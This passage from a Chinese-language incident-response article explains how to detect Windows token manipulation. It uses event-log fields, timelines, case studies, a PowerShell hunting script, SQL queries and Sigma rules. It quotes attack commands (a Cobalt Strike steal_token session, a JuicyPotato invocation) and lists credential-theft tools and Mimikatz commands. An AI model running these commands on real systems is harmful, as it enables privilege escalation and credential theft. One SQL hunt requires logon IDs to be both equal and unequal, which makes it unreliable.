  • 4624 事件出现 Logon Type 3 + NTLM 认证 + 来源 IP 为 127.0.0.1(本地 NTLM 中继)
  • Sysmon 事件中出现异常的命名管道创建(如 \ntsvcs
  • 4688 事件中的 ParentProcessName 指向可疑的可执行文件(如 JuicyPotato.exe、SweetPotato.exe)
  • 进程树中出现从 Web 服务账户到 SYSTEM 的权限跃升

0x07 令牌操纵的取证分析

1. Event ID 4624(登录事件)分析

Event ID 4624 是令牌操纵取证的核心事件。以下是不同令牌操纵技术对应的 Logon Type:

攻击技术Logon Type说明
令牌窃取(DuplicateTokenEx)不产生新登录事件复制现有令牌
令牌模拟(ImpersonateLoggedOnUser)不产生新登录事件使用现有令牌
CreateProcessWithToken不产生新登录事件使用复制的令牌
CreateProcessWithLogon2 或 10使用凭据创建新登录
runas /netonly9NewCredentials 登录
PsExec 远程执行3网络登录

关键认知:令牌窃取和令牌模拟通常不会产生新的 4624 事件,因为它们使用已有的令牌。这使得令牌操纵比凭据攻击更隐蔽。

2. Event ID 4672(特殊权限分配)分析

Event ID 4672 在用户登录时记录分配给该用户的特殊权限。这些权限是令牌操纵的重要指标:

<Event>
  <System>
    <EventID>4672</EventID>
    <Channel>Security</Channel>
  </System>
  <EventData>
    <Data Name="SubjectUserName">admin</Data>
    <Data Name="SubjectDomainName">DOMAIN</Data>
    <Data Name="SubjectLogonId">0x1a2b3c</Data>
    <Data Name="Privileges">SeSecurityPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege
SeSystemEnvironmentPrivilege
SeImpersonatePrivilege
SeAssignPrimaryTokenPrivilege</Data>
  </EventData>
</Event>

需要重点关注的权限:

  • SeDebugPrivilege:允许读取任意进程内存
  • SeImpersonatePrivilege:允许模拟客户端令牌
  • SeAssignPrimaryTokenPrivilege:允许分配主令牌
  • SeTcbPrivilege:允许作为 TCB 操作
  • SeBackupPrivilege:允许备份受保护文件
  • SeRestorePrivilege:允许还原受保护文件

3. Event ID 4688(进程创建)分析

Event ID 4688 记录了系统中每个进程的创建。在令牌操纵取证中,需要重点关注以下字段:

<Event>
  <System>
    <EventID>4688</EventID>
    <Channel>Security</Channel>
  </System>
  <EventData>
    <Data Name="SubjectUserName">SYSTEM</Data>
    <Data Name="SubjectDomainName">NT AUTHORITY</Data>
    <Data Name="SubjectLogonId">0x3e7</Data>
    <Data Name="NewProcessId">0x1a4c</Data>
    <Data Name="NewProcessName">C:\Windows\System32\cmd.exe</Data>
    <Data Name="CommandLine">"C:\Windows\System32\cmd.exe"</Data>
    <Data Name="ParentProcessId">0x890</Data>
    <Data Name="ParentProcessName">C:\Windows\System32\winlogon.exe</Data>
    <Data Name="TokenElevationType">TokenElevationTypeFull (1)</Data>
    <Data Name="MandatoryLabel">S-1-16-16384</Data>
  </EventData>
</Event>

令牌操纵的关键分析点:

  • SubjectLogonId:与 4624 事件关联,确定令牌来源
  • TokenElevationType:判断令牌是否被提升
  • MandatoryLabel:确认完整性级别
  • ParentProcessName:检查父进程是否合理
  • CommandLine:检查命令行参数是否可疑

4. Event ID 4703(令牌权限调整)分析

Event ID 4703 记录了令牌权限的调整(启用或禁用)。攻击者在获取高权限令牌后,通常需要调整权限:

<Event>
  <System>
    <EventID>4703</EventID>
    <Channel>Security</Channel>
  </System>
  <EventData>
    <Data Name="SubjectUserName">admin</Data>
    <Data Name="SubjectDomainName">DOMAIN</Data>
    <Data Name="SubjectLogonId">0x1a2b3c</Data>
    <Data Name="TargetUserName">admin</Data>
    <Data Name="TargetDomainName">DOMAIN</Data>
    <Data Name="TargetLogonId">0x1a2b3c</Data>
    <Data Name="ProcessName">C:\Windows\System32\cmd.exe</Data>
    <Data Name="EnabledPrivilegeList">SeDebugPrivilege
SeImpersonatePrivilege</Data>
    <Data Name="DisabledPrivilegeList"></Data>
  </EventData>
</Event>

4703 事件的取证意义:

  • 记录了哪些权限被启用或禁用
  • 关联 SubjectLogonId 可以追踪权限调整的源头
  • 如果普通用户进程启用了 SeDebugPrivilege,通常是令牌操纵的指标

5. Sysmon 令牌监控配置

Sysmon 提供了比 Windows 安全日志更详细的令牌监控能力:

<Sysmon schemaversion="4.90">
  <HashAlgorithms>sha256</HashAlgorithms>
  <EventFiltering>
    <ProcessCreate onmatch="include">
      <ParentImage condition="image">winlogon.exe</ParentImage>
      <ParentImage condition="image">services.exe</ParentImage>
      <ParentImage condition="image">lsass.exe</ParentImage>
      <IntegrityLevel condition="is">System</IntegrityLevel>
    </ProcessCreate>

    <ProcessAccess onmatch="include">
      <TargetImage condition="image">lsass.exe</TargetImage>
      <GrantedAccess condition="contains">0x1010</GrantedAccess>
      <GrantedAccess condition="contains">0x1438</GrantedAccess>
    </ProcessAccess>

    <PipeEvent onmatch="include">
      <PipeName condition="begin with">\ntsvcs</PipeName>
      <PipeName condition="begin with">\rpc</PipeName>
    </PipeEvent>
  </EventFiltering>
</Sysmon>

Sysmon 的关键监控点:

  • Event ID 1(进程创建):监控异常父进程创建的 SYSTEM 进程
  • Event ID 10(进程访问):监控对 LSASS 进程的访问
  • Event ID 17/18(命名管道):监控 RottenPotato 使用的命名管道

6. 令牌操纵的时间线分析

令牌操纵取证的核心是构建时间线,将多个事件关联起来:

令牌操纵时间线示例:

2026-06-15 09:00:00  Event ID 4624 (Security) — 管理员登录
                     Logon Type: 10 (RemoteInteractive)
                     Subject: DOMAIN\admin
                     Source IP: 10.0.1.50

2026-06-15 09:00:01  Event ID 4672 (Security) — 特殊权限分配
                     Subject: DOMAIN\admin
                     Privileges: SeDebugPrivilege, SeImpersonatePrivilege

2026-06-15 09:05:30  Event ID 4688 (Security) — Mimikatz 启动
                     Parent: cmd.exe
                     Process: mimikatz.exe
                     Subject: DOMAIN\admin

2026-06-15 09:06:00  Event ID 4688 (Security) — 令牌提升
                     Parent: mimikatz.exe
                     Process: cmd.exe
                     Subject: NT AUTHORITY\SYSTEM
                     TokenElevationType: Full

2026-06-15 09:06:15  Event ID 4703 (Security) — 权限调整
                     Subject: NT AUTHORITY\SYSTEM
                     EnabledPrivilege: SeDebugPrivilege

2026-06-15 09:10:00  Event ID 4688 (Security) — 横向移动
                     Parent: cmd.exe
                     Process: psexec.exe
                     CommandLine: psexec \\dc01 cmd.exe
                     Subject: NT AUTHORITY\SYSTEM

时间线分析的关键步骤:

  1. 从 4624 事件确定初始登录会话
  2. 从 4672 事件确定分配的权限
  3. 从 4688 事件追踪进程创建链
  4. 从 4703 事件追踪权限调整
  5. 关联所有事件的 SubjectLogonId,构建完整的攻击链

0x08 证据强度分层

1. 确认恶意(Confirmation Level)

以下条件满足任意一项即可确认令牌操纵攻击:

  • 4688 事件中出现 Mimikatz、Incognito 等已知攻击工具的可执行文件
  • 4688 事件中 ParentProcessName 为已知攻击工具,且子进程以 SYSTEM 令牌运行
  • 4688 事件中 SubjectLogonId 与父进程 4624 事件的 TargetLogonId 不匹配(令牌来源不一致)
  • Sysmon Event ID 10 显示非 SYSTEM 进程以 PROCESS_ALL_ACCESS(0x1FFFFF)访问 LSASS
  • 4624 事件出现 Logon Type 3 + NTLM + 来源 IP 127.0.0.1,且伴随 SYSTEM 进程创建(RottenPotato 指标)
  • 4657 事件中出现 ms-settingsmscfile 等 UAC 绕过注册表键的修改,且伴随 AutoElevate 进程启动

2. 高度可疑(High Suspicion Level)

以下条件满足任意一项应当视为高度可疑:

  • 4688 事件中 SubjectUserName 为 SYSTEM,但 CommandLine 包含用户级命令(如 whoami、ipconfig)
  • 4688 事件中 TokenElevationType 为 Full,但进程父进程不是正常的提升路径
  • 4672 事件显示非管理员账户持有 SeDebugPrivilegeSeImpersonatePrivilege
  • 4703 事件显示普通用户进程启用了 SeDebugPrivilege
  • 4688 事件中 MandatoryLabel 为 System(S-1-16-16384),但 ParentProcessName 是低完整性进程
  • 短时间内同一进程使用多个不同用户的令牌

3. 需要关注(Attention Level)

以下条件需要关注,但不足以单独判定攻击:

  • 4688 事件中 TokenElevationType 为 Full,且进程为 AutoElevate 二进制文件
  • 4624 事件出现 Logon Type 9(NewCredentials),但来源进程是已知合法工具
  • 4672 事件显示服务账户持有 SeImpersonatePrivilege(可能是正常配置)
  • 4688 事件中 SubjectLogonId 与预期不完全匹配,但差异在合理范围内
  • 注册表中出现 HKCU\Software\Classes\ms-settings 修改,但可能是合法应用行为

0x09 公开案例中的令牌操纵

案例一:APT29 — 令牌模拟横向移动

APT29(Cozy Bear)在多次攻击活动中使用了令牌模拟技术进行横向移动。

攻击过程:

  1. APT29 通过鱼叉邮件投递恶意软件,获取初始访问
  2. 使用 Mimikatz 从 LSASS 提取凭据
  3. 使用窃取的管理员令牌模拟域管理员身份
  4. 以域管理员身份使用 PsExec 横向移动到其他系统
  5. 在目标系统上重复令牌窃取和模拟过程

取证发现:

  • 4624 事件中出现多个 Logon Type 10 会话,来自同一 IP 地址
  • 4688 事件中出现 PSEXESVC.exe 作为父进程
  • 4672 事件显示多个不同用户持有 SeDebugPrivilege
  • 进程树中出现异常的令牌上下文切换

检测方法:通过分析 4624 事件中的并发登录会话数量,结合 4688 事件中的进程创建链,识别出令牌模拟的横向移动模式。

案例二:Cobalt Strike — 令牌窃取

Cobalt Strike 是红队和商业渗透测试工具,其 Beacon 载荷内置了令牌操纵功能。

攻击过程:

  1. 攻击者通过漏洞利用部署 Cobalt Strike Beacon
  2. Beacon 以低权限用户身份运行
  3. 使用 getuid 查看当前用户
  4. 使用 steal_token <pid> 窃取高权限进程的令牌
  5. 使用 rev2self 恢复原始令牌

Beacon 的令牌操纵命令:

beacon> getuid
[*] You are NT AUTHORITY\LOCAL SERVICE

beacon> ps
 PID   PPID  Name
 584   756   lsass.exe
 892   756   services.exe

beacon> steal_token 584
[*] Stolen token for NT AUTHORITY\SYSTEM

beacon> getuid
[*] You are NT AUTHORITY\SYSTEM

beacon> rev2self
[*] Reverted to original token

取证发现:

  • 4688 事件中 SubjectLogonId 频繁变化
  • 同一 Beacon 进程在不同时间使用不同的 SubjectUserName
  • 4624 事件中没有对应的登录事件(令牌窃取不产生新登录)
  • 进程树中出现异常的父子关系

检测方法:通过分析 4688 事件中 SubjectLogonId 的变化模式,识别同一进程使用多个不同令牌的异常行为。

案例三:RottenPotato — 权限提升

RottenPotato 攻击在多个勒索软件和数据泄露事件中被用于权限提升。

攻击过程:

  1. 攻击者通过 Web 应用漏洞获取 IIS 应用池权限
  2. IIS 应用池账户拥有 SeImpersonatePrivilege
  3. 攻击者上传 JuicyPotato.exe
  4. 执行 JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {CLSID}
  5. 获取 SYSTEM 权限的 cmd.exe
  6. 使用 SYSTEM 权限安装后门和勒索软件

取证发现:

  • 4688 事件中 IIS APPPOOL 账户创建了 SYSTEM 进程
  • 4624 事件出现 Logon Type 3 + NTLM + 来源 IP 127.0.0.1
  • Sysmon Event ID 17 中出现 \ntsvcs 命名管道创建
  • 4688 事件中的 ParentProcessName 指向 JuicyPotato.exe

检测方法:通过关联 4688 和 4624 事件,识别从低权限服务账户到 SYSTEM 的权限跃升,结合 Sysmon 命名管道事件确认 RottenPotato 攻击。


0x10 令牌操纵检测自动化与狩猎

1. PowerShell 检测脚本

以下 PowerShell 脚本用于检测系统中的令牌操纵活动:

function Find-TokenManipulation {
    param(
        [int]$HoursToSearch = 24,
        [string]$OutputPath = "C:\Temp\TokenManipulationReport.csv"
    )

    $startTime = (Get-Date).AddHours(-$HoursToSearch)
    $results = @()

    $suspiciousProcesses = @("mimikatz.exe", "incognito.exe", "juicypotato.exe",
                             "sweetpotato.exe", "rottenpotato.exe", "rubeus.exe")

    $logonEvents = Get-WinEvent -FilterHashtable @{
        LogName = 'Security'
        Id = 4624
        StartTime = $startTime
    } -ErrorAction SilentlyContinue | Where-Object {
        $_.Properties[8].Value -eq 9 -or $_.Properties[8].Value -eq 3
    }

    foreach ($event in $logonEvents) {
        $xml = [xml]$event.ToXml()
        $logonType = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'LogonType' } | Select-Object -ExpandProperty '#text'
        $userName = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'TargetUserName' } | Select-Object -ExpandProperty '#text'
        $ipAddr = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'IpAddress' } | Select-Object -ExpandProperty '#text'
        $authPkg = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'AuthenticationPackageName' } | Select-Object -ExpandProperty '#text'
        $processName = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'ProcessName' } | Select-Object -ExpandProperty '#text'

        if ($logonType -eq '3' -and $authPkg -eq 'NTLM' -and $ipAddr -eq '127.0.0.1') {
            $results += [PSCustomObject]@{
                Time = $event.TimeCreated
                EventID = 4624
                AlertType = 'Potential_RottenPotato'
                UserName = $userName
                LogonType = $logonType
                IpAddress = $ipAddr
                AuthPackage = $authPkg
                ProcessName = $processName
                Severity = 'HIGH'
            }
        }

        if ($logonType -eq '9') {
            $results += [PSCustomObject]@{
                Time = $event.TimeCreated
                EventID = 4624
                AlertType = 'NewCredentials_Logon'
                UserName = $userName
                LogonType = $logonType
                IpAddress = $ipAddr
                AuthPackage = $authPkg
                ProcessName = $processName
                Severity = 'MEDIUM'
            }
        }
    }

    $processEvents = Get-WinEvent -FilterHashtable @{
        LogName = 'Security'
        Id = 4688
        StartTime = $startTime
    } -ErrorAction SilentlyContinue

    foreach ($event in $processEvents) {
        $xml = [xml]$event.ToXml()
        $newProcess = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'NewProcessName' } | Select-Object -ExpandProperty '#text'
        $parentProcess = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'ParentProcessName' } | Select-Object -ExpandProperty '#text'
        $commandLine = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'CommandLine' } | Select-Object -ExpandProperty '#text'
        $subjectUser = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'SubjectUserName' } | Select-Object -ExpandProperty '#text'
        $logonId = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'SubjectLogonId' } | Select-Object -ExpandProperty '#text'
        $elevation = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'TokenElevationType' } | Select-Object -ExpandProperty '#text'

        foreach ($suspicious in $suspiciousProcesses) {
            if ($newProcess -like "*$suspicious*" -or $parentProcess -like "*$suspicious*" -or $commandLine -like "*$suspicious*") {
                $results += [PSCustomObject]@{
                    Time = $event.TimeCreated
                    EventID = 4688
                    AlertType = 'Known_Attack_Tool'
                    UserName = $subjectUser
                    LogonType = 'N/A'
                    IpAddress = 'N/A'
                    AuthPackage = 'N/A'
                    ProcessName = $newProcess
                    Severity = 'CRITICAL'
                }
            }
        }

        if ($subjectUser -eq 'SYSTEM' -and $commandLine -match 'whoami|ipconfig|net user|net localgroup') {
            $results += [PSCustomObject]@{
                Time = $event.TimeCreated
                EventID = 4688
                AlertType = 'SYSTEM_Recon'
                UserName = $subjectUser
                LogonType = 'N/A'
                IpAddress = 'N/A'
                AuthPackage = 'N/A'
                ProcessName = $newProcess
                Severity = 'HIGH'
            }
        }
    }

    $privEvents = Get-WinEvent -FilterHashtable @{
        LogName = 'Security'
        Id = 4672
        StartTime = $startTime
    } -ErrorAction SilentlyContinue

    foreach ($event in $privEvents) {
        $xml = [xml]$event.ToXml()
        $userName = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'SubjectUserName' } | Select-Object -ExpandProperty '#text'
        $privileges = $xml.Event.EventData.Data | Where-Object { $_.Name -eq 'Privileges' } | Select-Object -ExpandProperty '#text'

        if ($privileges -match 'SeDebugPrivilege' -and $userName -notmatch '\$$' -and $userName -ne 'SYSTEM') {
            $results += [PSCustomObject]@{
                Time = $event.TimeCreated
                EventID = 4672
                AlertType = 'SeDebugPrivilege_NonAdmin'
                UserName = $userName
                LogonType = 'N/A'
                IpAddress = 'N/A'
                AuthPackage = 'N/A'
                ProcessName = 'N/A'
                Severity = 'HIGH'
            }
        }
    }

    $results | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
    Write-Host "Found $($results.Count) suspicious events. Report saved to $OutputPath"
    return $results
}

Find-TokenManipulation -HoursToSearch 48

2. 事件日志狩猎查询(SQL)

以下 SQL 查询用于在 SIEM 系统中检测令牌操纵活动:

SELECT TimeCreated, EventID, SubjectUserName, SubjectLogonId,
       NewProcessName, ParentProcessName, CommandLine, TokenElevationType
FROM SecurityEvents
WHERE EventID = 4688
  AND (
    NewProcessName LIKE '%mimikatz%'
    OR NewProcessName LIKE '%juicypotato%'
    OR NewProcessName LIKE '%sweetpotato%'
    OR NewProcessName LIKE '%rottenpotato%'
    OR ParentProcessName LIKE '%mimikatz%'
    OR ParentProcessName LIKE '%juicypotato%'
    OR ParentProcessName LIKE '%PSEXESVC%'
    OR CommandLine LIKE '%token::elevate%'
    OR CommandLine LIKE '%impersonate_token%'
    OR CommandLine LIKE '%steal_token%'
  )
ORDER BY TimeCreated DESC
SELECT TimeCreated, EventID, TargetUserName, LogonType,
       AuthenticationPackageName, IpAddress, WorkstationName, ProcessName
FROM SecurityEvents
WHERE EventID = 4624
  AND (
    (LogonType = 3 AND AuthenticationPackageName = 'NTLM' AND IpAddress = '127.0.0.1')
    OR (LogonType = 9 AND ProcessName LIKE '%lsass.exe%')
    OR (LogonType = 3 AND WorkstationName = '' AND AuthenticationPackageName = 'NTLM')
  )
ORDER BY TimeCreated DESC
SELECT e1.TimeCreated AS LogonTime, e1.TargetUserName, e1.LogonType,
       e1.TargetLogonId, e2.TimeCreated AS ProcessTime,
       e2.NewProcessName, e2.SubjectLogonId, e2.ParentProcessName
FROM SecurityEvents e1
JOIN SecurityEvents e2 ON e1.TargetLogonId = e2.SubjectLogonId
WHERE e1.EventID = 4624
  AND e2.EventID = 4688
  AND e1.TargetLogonId != e2.SubjectLogonId
  AND e2.NewProcessName NOT LIKE '%explorer.exe%'
  AND e2.ParentProcessName NOT LIKE '%services.exe%'
ORDER BY e1.TimeCreated DESC
SELECT TimeCreated, EventID, SubjectUserName, SubjectLogonId,
       EnabledPrivilegeList, DisabledPrivilegeList, ProcessName
FROM SecurityEvents
WHERE EventID = 4703
  AND (
    EnabledPrivilegeList LIKE '%SeDebugPrivilege%'
    OR EnabledPrivilegeList LIKE '%SeImpersonatePrivilege%'
    OR EnabledPrivilegeList LIKE '%SeAssignPrimaryTokenPrivilege%'
  )
ORDER BY TimeCreated DESC

3. Sigma 检测规则

以下 Sigma 规则用于检测令牌操纵活动:

title: Token Manipulation - Known Tools
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: 检测已知令牌操纵工具的执行
author: Security Team
date: 2026/06/24
references:
  - https://attack.mitre.org/techniques/T1134/
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith:
      - '\mimikatz.exe'
      - '\JuicyPotato.exe'
      - '\SweetPotato.exe'
      - '\RottenPotato.exe'
      - '\incognito.exe'
    CommandLine|contains:
      - 'token::elevate'
      - 'token::impersonate'
      - 'impersonate_token'
      - 'steal_token'
      - 'make_token'
      - 'sekurlsa'
  condition: selection
level: critical
tags:
  - attack.privilege_escalation
  - attack.defense_evasion
  - attack.t1134
title: RottenPotato - Local NTLM Relay
id: b2c3d4e5-f6a7-8901-bcde-f12345678901
status: experimental
description: 检测 RottenPotato/JuicyPotato 本地 NTLM 中继攻击
author: Security Team
date: 2026/06/24
references:
  - https://attack.mitre.org/techniques/T1134/001/
logsource:
  product: windows
  service: security
detection:
  selection_logon:
    EventID: 4624
    LogonType: 3
    AuthenticationPackageName: 'NTLM'
    IpAddress: '127.0.0.1'
  selection_process:
    EventID: 4688
    SubjectUserName|contains:
      - 'IIS APPPOOL'
      - 'NETWORK SERVICE'
      - 'LOCAL SERVICE'
    TokenElevationType: 'TokenElevationTypeFull (1)'
  condition: selection_logon or selection_process
level: high
tags:
  - attack.privilege_escalation
  - attack.t1134.001
title: UAC Bypass via Registry Modification
id: c3d4e5f6-a7b8-9012-cdef-123456789012
status: experimental
description: 检测通过注册表修改实现的 UAC 绕过行为
author: Security Team
date: 2026/06/24
references:
  - https://attack.mitre.org/techniques/T1548/002/
logsource:
  product: windows
  service: security
detection:
  selection_registry:
    EventID: 4657
    ObjectName|contains:
      - 'ms-settings\shell\open\command'
      - 'mscfile\shell\open\command'
      - 'ms-windows-store\shell\open\command'
  selection_process:
    EventID: 4688
    NewProcessName|endswith:
      - '\fodhelper.exe'
      - '\computerdefaults.exe'
      - '\eventvwr.exe'
      - '\msconfig.exe'
    TokenElevationType: 'TokenElevationTypeFull (1)'
  condition: selection_registry or selection_process
level: high
tags:
  - attack.privilege_escalation
  - attack.defense_evasion
  - attack.t1548.002
title: Token Impersonation - Suspicious LogonId Change
id: d4e5f6a7-b8c9-0123-defa-234567890123
status: experimental
description: 检测同一进程中 SubjectLogonId 频繁变化的令牌模拟行为
author: Security Team
date: 2026/06/24
references:
  - https://attack.mitre.org/techniques/T1134/001/
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4688
    SubjectUserName|contains:
      - 'IIS APPPOOL'
      - 'NETWORK SERVICE'
      - 'LOCAL SERVICE'
    TokenElevationType: 'TokenElevationTypeFull (1)'
    NewProcessName|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\powershell_ise.exe'
  filter:
    ParentProcessName|endswith:
      - '\services.exe'
      - '\svchost.exe'
      - '\explorer.exe'
  condition: selection and not filter
level: high
tags:
  - attack.privilege_escalation
  - attack.t1134.001

0x11 参考资料